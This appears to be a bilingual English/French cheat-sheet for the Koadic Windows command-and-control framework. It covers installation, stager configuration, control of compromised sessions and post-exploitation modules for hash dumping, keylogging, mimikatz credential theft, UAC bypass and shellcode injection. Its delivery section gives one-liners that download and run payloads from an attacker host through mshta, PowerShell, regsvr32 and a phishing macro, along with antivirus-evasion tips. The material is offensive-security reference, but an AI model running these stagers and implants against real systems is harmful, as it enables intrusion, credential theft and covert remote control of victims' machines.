koadic
Framework de Command & Control COM pour Windows. Utilise des stagers JScript/VBScript via des objets COM : exécution fileless qui se fond dans l'administration Windows légitime. COM Command & Control framework for Windows. Uses JScript/VBScript stagers via COM objects — fileless execution that blends into legitimate Windows administration.
↗ https://github.com/zerosum0x0/koadicOverview
Koadic is a Windows C2 framework that uses Component Object Model (COM) scripting to run payloads via JScript and VBScript — techniques used in normal Windows administration. Its stagers are designed to be fileless, executing entirely in memory via mshta.exe, wscript.exe, or rundll32.exe.
Installation
git clone https://github.com/zerosum0x0/koadic
cd koadic
pip3 install -r requirements.txt
python3 koadic.py
Basic Usage
Start Koadic
python3 koadic.py
# Inside Koadic:
(koadic: sta/js/mshta)> help
(koadic: sta/js/mshta)> use stager/js/mshta
(koadic: sta/js/mshta)> info
(koadic: sta/js/mshta)> set SRVHOST 10.10.10.50
(koadic: sta/js/mshta)> run
Stagers
JScript via mshta.exe (most common)
use stager/js/mshta
# Payload delivered via:
# mshta.exe http://10.10.10.50:9997/whatever.html
JScript via regsvr32
use stager/js/regsvr32
JScript via rundll32
use stager/js/rundll32
VBScript via wscript
use stager/vbs/wscript
Working with Zombies (Sessions)
List active zombies (sessions)
zombies
Interact with a zombie
use zombie 0
# Run commands on zombie
shell whoami
shell ipconfig
shell systeminfo
Inject into process
inject 1234 stager/js/mshta # inject into PID 1234
Implants (Post-Exploitation Modules)
# Run a module on active zombie
use implant/gather/hashdump
run
use implant/gather/hashdump # dump SAM hashes
use implant/gather/clipboard # get clipboard content
use implant/gather/keys # keylogger
use implant/gather/userinfo # user/domain info
use implant/inject/mimikatz_sekurlsa # credential dump via mimikatz
use implant/manage/zombie_stealth # hide the zombie process
use implant/escalate/bypassuac_eventvwr # UAC bypass
use implant/pivot/exec_shellcode # inject shellcode
Delivery Methods
Payload delivery via mshta.exe:
mshta http://10.10.10.50:9997/index.html
Via PowerShell download:
powershell -c "(New-Object Net.WebClient).DownloadString('http://10.10.10.50:9997/stager.js')" | mshta
# Via phishing document with macro:
# Macro calls: Shell "mshta.exe http://attacker/koadic_stager.html"
Via rundll32 (regsvr32 squiblydoo):
regsvr32 /s /n /u /i:http://10.10.10.50:9997/stager.sct scrobj.dll
Tips
- mshta.exe stagers are one of the most AV-evasive delivery methods for Windows
- Koadic is LOLBIN (Living off the Land) — uses built-in Windows tools
- Sessions are called “zombies” — each has an ID for targeting
- Combine UAC bypass implants with privilege escalation for Admin → SYSTEM
- Less maintained than Sliver/Havoc — consider those for modern engagements
Help / Man page
Koadic commands:
use MODULE Load a module
info Show module options
set KEY VALUE Configure option
run Execute current module
zombies List active sessions
use zombie N Select session
shell CMD Run command on session
implants List available implants
exit Quit Koadic
Vue d’ensemble
Koadic est un framework C2 Windows qui utilise le scripting COM (Component Object Model) pour exécuter des payloads via JScript et VBScript, des techniques utilisées dans l’administration Windows normale. Ses stagers sont conçus pour être fileless, s’exécutant entièrement en mémoire via mshta.exe, wscript.exe ou rundll32.exe.
Installation
git clone https://github.com/zerosum0x0/koadic
cd koadic
pip3 install -r requirements.txt
python3 koadic.py
Utilisation de base
# Démarrer Koadic
python3 koadic.py
# À l'intérieur de Koadic :
(koadic: sta/js/mshta)> help
(koadic: sta/js/mshta)> use stager/js/mshta
(koadic: sta/js/mshta)> info
(koadic: sta/js/mshta)> set SRVHOST 10.10.10.50
(koadic: sta/js/mshta)> run
Stagers
# JScript via mshta.exe (le plus courant)
use stager/js/mshta
# Le payload est livré via :
# mshta.exe http://10.10.10.50:9997/whatever.html
# JScript via regsvr32
use stager/js/regsvr32
# JScript via rundll32
use stager/js/rundll32
# VBScript via wscript
use stager/vbs/wscript
Travailler avec les zombies (sessions)
# Lister les zombies actifs (sessions)
zombies
# Interagir avec un zombie
use zombie 0
# Exécuter des commandes sur le zombie
shell whoami
shell ipconfig
shell systeminfo
# Injecter dans un processus
inject 1234 stager/js/mshta # injecter dans le PID 1234
Implants (modules post-exploitation)
# Exécuter un module sur le zombie actif
use implant/gather/hashdump
run
use implant/gather/hashdump # dump des hashes SAM
use implant/gather/clipboard # récupérer le contenu du presse-papiers
use implant/gather/keys # keylogger
use implant/gather/userinfo # infos utilisateur/domaine
use implant/inject/mimikatz_sekurlsa # dump de credentials via mimikatz
use implant/manage/zombie_stealth # cacher le processus du zombie
use implant/escalate/bypassuac_eventvwr # UAC bypass
use implant/pivot/exec_shellcode # injecter du shellcode
Méthodes de livraison
# Livraison du payload via mshta.exe
mshta http://10.10.10.50:9997/index.html
# Via téléchargement PowerShell
powershell -c "(New-Object Net.WebClient).DownloadString('http://10.10.10.50:9997/stager.js')" | mshta
# Via document de phishing avec macro :
# La macro appelle : Shell "mshta.exe http://attacker/koadic_stager.html"
# Via rundll32 (regsvr32 squiblydoo)
regsvr32 /s /n /u /i:http://10.10.10.50:9997/stager.sct scrobj.dll
Conseils
- Les stagers mshta.exe sont l’une des méthodes de livraison les plus évasives face aux AV sous Windows
- Koadic est un LOLBIN (Living off the Land) : il utilise des outils Windows natifs
- Les sessions sont appelées « zombies » : chacune a un ID pour cibler
- Combiner les implants de UAC bypass avec l’escalade de privilèges pour passer Admin → SYSTEM
- Moins maintenu que Sliver/Havoc : privilégier ces derniers pour des missions modernes
Aide / Page de manuel
Koadic commands:
use MODULE Load a module
info Show module options
set KEY VALUE Configure option
run Execute current module
zombies List active sessions
use zombie N Select session
shell CMD Run command on session
implants List available implants
exit Quit Koadic